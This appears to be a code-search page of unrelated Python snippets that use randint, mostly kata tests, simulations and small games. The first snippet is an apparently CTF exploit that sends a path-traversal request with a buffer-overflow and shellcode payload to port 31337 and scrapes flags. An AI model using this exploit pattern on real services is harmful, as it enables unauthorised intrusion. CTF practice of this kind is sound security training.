示例#1
0
def try_attack(n):
    stack = int("ff*+-000" \
        .replace("*", al[R(0, len(al) - 1)]) \
        .replace("+", al[R(0, len(al) - 1)]) \
        .replace("-", al[R(0, len(al) - 1)]), 16)

    payload = b"A" * 16
    payload += p32(stack)
    payload += nop_slide(shellcode)

    data  = b""
    data += f"POST /static/{due('../../../proc/self/fd/0')} HTTP/1.1\r\n".encode()
    data += f"Host: {ip}:31337\r\n".encode()
    data += (b"Kekmeister: " + b"\x90" * 200 + b"\r\n") * 100
    data += f"Content-Length: {len(payload)}\r\n\r\n".encode()
    data += payload

    s = socket.socket()
    s.connect((ip, 31337))
    s.sendall(data)

    time.sleep(5)
    r = s.recv(30000)
    s.close()

    flags = re.findall(flag_re, r)

    if len(flags) > 0:
        print(flags)
    else:
        print(f'Attack {n}')
示例#2
0
    def test_rand(self):
        from random import randint as R, sample as S
        from math import log2, ceil

        def solution(a, n):
            n -= 1
            l = 2**int(log2(ceil((n + 1) / len(a))))
            r = (n - (l - 1) * len(a)) // l
            return a[r]

        names = [
            "Sheldon", "Leonard", "Penny", "Rajesh", "Howard",
            "Daisuke Aramaki", "Motoko Kusanagi", "Batou", "Togusa",
            "Ishikawa", "Saito", "Pazu", "Borma", "Azuma", "Yano", "Proto"
        ]

        for _ in range(100):
            a = S(names, R(1, 16))
            n = R(1, 1000)
            self.assertEqual(who_is_next(a[:], n), solution(a, n))

        for _ in range(100):
            a = S(names, R(1, 16))
            n = R(10**24, 10**30)
            self.assertEqual(who_is_next(a[:], n), solution(a, n))
示例#3
0
def initialize_param(no_targets,no_observers):
	targets=[]
	observers=[]
	for i in range(no_targets):
		targets.append(T(R()*150,R()*150,target_speed[RI(0,5)],R()*360,sensor_range[RI(0,4)]))
	for i in range(no_observers):
		observers.append(O(R()*150,R()*150,observer_speed,sensor_range[RI(0,4)]))
	return (no_targets,no_observers,targets,observers)
示例#4
0
    def test_rand(self):
        from random import randint as R, choices as C
        sol = lambda s: (lambda res: None if len(res) < 3 else " ".join(res[
            1:-1]))(s.split(","))

        for _ in range(200):
            s = ",".join("".join(C("abcdef0123456", k=R(1, 3)))
                         for _ in range(R(1, 10)))
            self.assertEqual(array(s), sol(s))
示例#5
0
 def gen_fake_stdout():
     expr = []
     for _ in range(R(1, 3)):
         if C([True, False]):
             expr.append(self._random_str(R(1, 20)))
         else:
             expr.append('{0} {1} {2}'.format(R(1, 100), C(OPER),
                                              R(1, 100)))
     return '\n{0}    print '.format(space).join(expr)
示例#6
0
    def test_rand(self):
        def solution(array, n):
            if len(array) <= n:
                return -1
            return (array[n]**n)

        from random import randint as R

        for _ in range(100):
            n = R(0, 10)
            a = [R(0, 20) for _ in range(R(0, 10))]
            self.assertEqual(index(a[:], n), solution(a, n))
示例#7
0
文件: test.py 项目: fernandoe/study
 def it_1():
     for _ in range(100):
         a, n = (R(0, 255), R(0, 255), R(0, 255)), R(1, 20)
         result, user = Solution(a, n), Potion(a, n)
         for _ in range(R(1, 5)):
             a, n = (R(0, 255), R(0, 255), R(0, 255)), R(1, 20)
             result, user = result.mix(Solution(a, n)), user.mix(Potion(a, n))
             Test.assert_equals(user.color, result.color)
             Test.assert_equals(user.volume, result.volume)
示例#8
0
	def initialize(self):
		no_observers_arr=[2,6,10,14,18]
		no_targets_arr=[3,9,15,21,27]
		target_speed=[0.2,0.5,0.8,1.0,1.2,1.5]
		observer_speed=1.0
		sensor_range=[5,10,15,20,25]
		observer_target_dict={}
		obstacle_len=[2,5,8,10,12,20]
		targets=[]
		a=[-1 ,1]
		observers=[]
		obstacles=[]
		no_targets=no_targets_arr[RI(0,4)]
		no_observers=no_observers_arr[RI(0,4)]
		no_obstacles=int(ceil(no_targets/3))
		for i in range(no_targets):
			targets.append(T(R()*150*a[RI(0,1)],R()*150*a[RI(0,1)],target_speed[RI(0,5)],R()*360,sensor_range[RI(0,4)]))
		for i in range(no_observers):
			observers.append(O(R()*150*a[RI(0,1)],R()*150*a[RI(0,1)],observer_speed,sensor_range[RI(0,4)]))
		for i in range(no_obstacles):
			obs_len=obstacle_len[RI(0,5)]
			angle=R()*360
			pos_x=R()*150*a[RI(0,1)]
			pos_y=R()*150*a[RI(0,1)]
			temp_obs=[]
			for j in range(obs_len):
				temp_obs.append(Ob(pos_x+j*sin(angle),pos_y+j*cos(angle),angle,i))
			obstacles.append((obs_len,temp_obs))
		return (no_targets,no_observers,no_obstacles,targets,observers,obstacles)
示例#9
0
def initialize():
    targets = []
    a = [-1, 1]
    observers = []
    obstacles = []
    no_targets = no_targets_arr[RI(0, 4)]
    no_observers = no_observers_arr[RI(0, 4)]
    no_obstacles = int(ceil(no_targets / 3))
    for i in range(no_targets):
        targets.append(
            T(R() * 150 * a[RI(0, 1)],
              R() * 150 * a[RI(0, 1)], target_speed[RI(0, 5)],
              R() * 360, sensor_range[RI(0, 4)]))
    for i in range(no_observers):
        observers.append(
            O(R() * 150 * a[RI(0, 1)],
              R() * 150 * a[RI(0, 1)], observer_speed, sensor_range[RI(0, 4)]))
    for i in range(no_obstacles):
        obs_len = obstacle_len[RI(0, 5)]
        angle = R() * 360
        pos_x = R() * 150 * a[RI(0, 1)]
        pos_y = R() * 150 * a[RI(0, 1)]
        temp_obs = []
        for j in range(obs_len):
            temp_obs.append(
                Ob(pos_x + j * sin(angle), pos_y + j * cos(angle), angle, i))
        obstacles.append((obs_len, temp_obs))
    return (no_targets, no_observers, no_obstacles, targets, observers,
            obstacles)
示例#10
0
 def initialize_param(self, no_targets, no_observers, sensor_range_targets,
                      sensor_range_observers, target_spd):
     targets = []
     observers = []
     for i in range(no_targets):
         targets.append(
             T(R() * 150,
               R() * 150, target_spd,
               R() * 360, sensor_range_observers))
     for i in range(no_observers):
         observers.append(
             O(R() * 150,
               R() * 150, self.observer_speed, sensor_range_targets))
     return (no_targets, no_observers, targets, observers)
示例#11
0
def make_smtp_data(count=1000):
    delim0 = '\r\n'
    delim1 = '\r\n.\r\n'
    r = []
    # count mail messages
    for i in range(count):
        # 5 to 100 header lines/commands
        for i in R(5, 100):
            # each 15 to 200 chars long
            r.append('0' * R(15, 200))
            r.append(delim0)
        # followed by message content of 300-15k
        r.append('1' * R(300, 15000))
        r.append(delim1)
    return ''.join(r)
示例#12
0
    def rand_if(self, space_lenght=0):
        """Create a randomized stat if"""
        space, if_st = ' ' * space_lenght, ""

        # <-- generate -->
        def gen_fake_stdout():
            expr = []
            for _ in range(R(1, 3)):
                if C([True, False]):
                    expr.append(self._random_str(R(1, 20)))
                else:
                    expr.append('{0} {1} {2}'.format(R(1, 100), C(OPER),
                                                     R(1, 100)))
            return '\n{0}    print '.format(space).join(expr)

        def gen_fake_if():
            if C([True, False]):
                return self._random_str(5), '!='
            else:
                return R(1, 100), '-'

        el = ''
        for i in range(R(1, 4)):
            var, OP = gen_fake_if()
            if_st += '{0}{1}if {2} {3} {2} : \n{0}    print {4}\n'.format(
                space, el, var, OP, gen_fake_stdout())
            if C([True, False]):
                space = space + (' ' * 4)
                el = ''
            else:
                if i != 1:
                    el = 'el'
        # <-- done -->
        return if_st[:-1]
示例#13
0
    def check_get_signature(self, sess, ssize, stext, fId, ok=True):
        offsets = []

        while len(offsets) < 16:
            o = R(0, ssize - 1)
            if stext[o] == ord('.') or stext[o] == ord('/'):
                continue
            offsets.append(o)

        sign = self.get_signature(sess, fId, offsets, ok)

        if sign is None:
            return None

        signOrigin = b""

        for off in offsets:
            c = stext[off]
            if 32 <= c < 127:
                signOrigin += chr(c).encode()
            else:
                signOrigin += b"\\x" + hex(c)[2:].zfill(2).encode()

        signOrigin = base64.b64encode(signOrigin).decode()

        assert_eq(sign, signOrigin, "Invalid signature")

        return sign
示例#14
0
def make_line_data(delim_size, count=10000):
    delim = make_delim(delim_size)
    r = []
    for i in range(count):
        r.append('0' * R(20, 150))
        r.append(delim)
    return ''.join(r)
示例#15
0
def test_should_find_missing_number_for_random_performance_tests():
    base = list(range(1, 1000001))
    S(base)
    for _ in range(20):
        n = R(1, 1000000)
        a = base[:]
        a.remove(n)
        assert find_missing_number(a) == n
示例#16
0
 def initialize(self):
     targets = []
     observers = []
     no_targets = self.no_targets_arr[RI(0, 4)]
     no_observers = self.no_observers_arr[RI(0, 4)]
     sensor_range_targets = self.sensor_range[RI(0, 4)]
     sensor_range_observers = self.sensor_range[RI(0, 4)]
     for i in range(no_targets):
         targets.append(
             T(R() * 150,
               R() * 150, self.target_speed[RI(0, 5)],
               R() * 360, sensor_range_observers))
     for i in range(no_observers):
         observers.append(
             O(R() * 150,
               R() * 150, self.observer_speed, sensor_range_targets))
     return (no_targets, no_observers, targets, observers)
示例#17
0
def str_prod(s, lo, hi=None):
    # string producer, make chunks of size in the range lo, hi (or just <lo>)
    i = 0
    ls = len(s)
    while i < ls:
        if hi is None:
            size = lo
        else:
            size = R(lo, hi)
        yield s[i:i + size]
        i += size
示例#18
0
def genexpr(kw, endprob, probgrad):
    res = ''
    if R(0, 1):
        res += '!'

    if random.random() < endprob:
        res += random.choice(kw['content'])
        return res

    par = R(0, 1)
    if par:
        res += '('

    res += genexpr(kw, endprob * probgrad, probgrad)
    res += random.choice(['&', '|'])
    res += genexpr(kw, endprob * probgrad, probgrad)

    if par:
        res += ')'
    return res
示例#19
0
def random_proname():
    """生成一个数据库里面未注册的项目名称"""
    while True:
        name = "fls"
        for i in range(5):
            r = R(0, 9)
            name += str(r)
        # 数据库查询该用户名是否存在
        sql = 'SELECT * FROM test.tb_projects WHERE name="{}"'.format(name)
        res = db.find_count(sql)
        # 如果不存在,则返回该用户名
        if res == 0:
            return name
示例#20
0
def foo11():
    l = []
    total = 0
    for i in range(100):
        l.append(R(0, 1000))
    for item in l:
        count = 0
        for Item in l:
            if abs(item - Item) <= 20:
                count += 1
        if count <= 1:
            total += 1
    return total
示例#21
0
 def initialize(self):
     no_observers_arr = [2, 6, 10, 14, 18]
     no_targets_arr = [3, 9, 15, 21, 27]
     self.x_limit = 150
     self.y_limit = 150
     target_speed = [0.2, 0.5, 0.8, 1.0, 1.2, 1.5]
     observer_speed = 1.0
     sensor_range = [5, 10, 15, 20, 25]
     self.total_steps = 1500
     self.update_steps = 10
     observer_target_dict = {}
     obstacle_len = [2, 5, 8, 10, 12, 20]
     self.template_probability_distribution = [
         0.001953125, 0.001953125, 0.00390625, 0.0078125, 0.015625, 0.03125,
         0.0625, 0.125, 0.25, 0.5
     ]
     targets = []
     a = [-1, 1]
     observers = []
     obstacles = []
     observer_strategy = []
     no_targets = no_targets_arr[RI(0, 4)]
     no_observers = no_observers_arr[RI(0, 4)]
     no_obstacles = int(ceil(no_targets / 3))
     for i in range(no_targets):
         targets.append(
             T(R() * 150 * a[RI(0, 1)],
               R() * 150 * a[RI(0, 1)], target_speed[RI(0, 5)],
               R() * 360, sensor_range[RI(0, 4)]))
     for i in range(no_observers):
         observers.append(
             O(R() * 150 * a[RI(0, 1)],
               R() * 150 * a[RI(0, 1)], observer_speed,
               sensor_range[RI(0, 4)]))
         observer_strategy.append(RI(1, 4))
     for i in range(no_obstacles):
         obs_len = obstacle_len[RI(0, 5)]
         angle = R() * 360
         pos_x = R() * 150 * a[RI(0, 1)]
         pos_y = R() * 150 * a[RI(0, 1)]
         temp_obs = []
         for j in range(obs_len):
             temp_obs.append(
                 Ob(pos_x + j * sin(angle), pos_y + j * cos(angle), angle,
                    i))
         obstacles.append((obs_len, temp_obs))
     return (no_targets, no_observers, no_obstacles, targets, observers,
             obstacles, observer_strategy)
示例#22
0
def generate_binary(text):
    name = rnd_string(15)

    with open(f"/tmp/{name}.c", "w") as f:
        code = ""

        l = R(3, 6)
        r = R(3, 6)

        for i in range(l):
            code += choice(prints).format(rnd_string(10), 10)

        code += choice(prints).format(text, len(text))

        for i in range(r):
            code += choice(prints).format(rnd_string(10), 10)

        f.write(template.format(code))

    p = Popen(["gcc", f"/tmp/{name}.c", "-o", f"/tmp/{name}"])
    p.wait()

    return f"/tmp/{name}"
示例#23
0
def random_intername():
    """生成一个数据库里面未注册的接口名"""
    while True:
        name = "inter"
        for i in range(5):
            r = R(0, 9)
            name += str(r)

        # 数据库查询该用户名是否存在
        # sql = "SELECT * From test.auth_user WHERE username ={}".format(name)
        sql = 'SELECT * FROM test.tb_interfaces WHERE name="{}"'.format(name)
        res = db.find_count(sql)
        # 如果不存在,则返回该用户名
        if res == 0:
            return name
示例#24
0
def m(s):
    a = lambda o, y, x: y.addch(o[0], o[1], x)
    q = lambda: (R(L - 2), R(C - 2))
    L, C = s.getmaxyx()
    curs_set(0)
    s.nodelay(1)
    s.border()
    s.refresh()
    r = newwin(L - 2, C - 2, 1, 1)
    n = deque()
    y, x = [L - 2, 0]
    d = N
    n.append(u)
    c = N
    p = q()
    a(p, r, N)
    a(u, s, 48)
    while 1:
        if c in z: d = c
        if d == N: y -= 1
        if d == S: y += 1
        if d == W: x -= 1
        if d == E: x += 1
        l = n.pop()
        if (y, x) in n: return
        if (y, x) == p:
            p = q()
            a(p, r, N)
            n.append(l)
            s.addstr(0, 0, str(len(n)))
        n.appendleft((y, x))
        a((y, x), r, S)
        a(l, r, 32)
        r.refresh()
        time.sleep(.2)
        c = s.getch()
示例#25
0
 def random_email():
     """生成一个数据库里面未注册的邮箱地址"""
     while True:
         num = ""
         address = ""
         email = "@qq.com"
         for i in range(9):
             r = R(0, 9)
             num += str(r)
             address = num + email
         # 数据库查询该用户名是否存在
         sql = 'SELECT * from test.auth_user WHERE email ="{}"'.format(
             address)
         res = db.find_count(sql)
         # 如果不存在,则返回该用户名
         if res == 0:
             return address
示例#26
0
 def it_1():
     for _ in range(100):
         n = R(1, 20)
         a = [[R(1, 1000) for _ in range(n)] for _ in range(n)]
         b = [x[:] for x in a]
         test.assert_equals(snail(a), solution(b))
示例#27
0
def game():

    # set f to True
    f = True
    # the true grid
    minegrid = [[0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0],
                [0, 0, 0, 0, 0, 0, 0, 0], [0, 0, 0, 0, 0, 0, 0, 0]]

    # the grid you see at first
    graygrid = [[None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None],
                [None, None, None, None, None, None, None, None]]

    # give mines
    mines = 10
    mine_locations = set()

    # add mines to empty mine field
    while len(mine_locations) < mines:
        row = R(0, 7)
        col = R(0, 7)
        mine_locations.add((row, col))
        minegrid[row][col] = '*'

    for row in range(len(graygrid)):
        for col in range(len(graygrid[row])):
            if minegrid[row][col] == "*":
                continue
            count = 0
            for i in range(-1, 2):
                for j in range(-1, 2):
                    if in_bounds(row + i, col + j, minegrid) and check_if_mine(
                            row + i, col + j, minegrid):
                        count += 1
            minegrid[row][col] = count

    # loop
    while f is True:

        # show grid
        print('\n' * 30)
        print(show_grid(graygrid))

        while True:
            # show instructions
            guess = input(
                """Give X and Y coordinates (x, y). Type 'R' to restart, 'Q' to
quit: """).strip().lower()

            # options
            if guess == "r":
                game()
            elif guess == "q":
                sys.exit()
            elif is_valid(guess):

                # split input into a list
                guess = guess.split(',')

                # set x and y to be what user has input
                x = (int(guess[0]) - 1)
                y = (int(guess[1]) - 1)
                break

        # check for a mine
        graygrid[y][x] = minegrid[y][x]
        f = is_mine((minegrid[y][x]), minegrid, graygrid)
示例#28
0
from random import randint as R

N = 500
K = 87
print(N, K)
for _ in range(N):
    print(R(0, 100), R(0, 100))
示例#29
0
def gen_problemsRnd(max):
    i = 0
    while i < max:
        problems.append([int(R(1, 10, 1)), int(R(1, 100, 1))])
        i += 1
    return problems
示例#30
0
def init():
    for i in range(10):
        M.append(["."] * 10)
        V.append([50] * 10)
    M[0][0] = "P"
    M[R(2, 9)][R(2, 9)] = "F"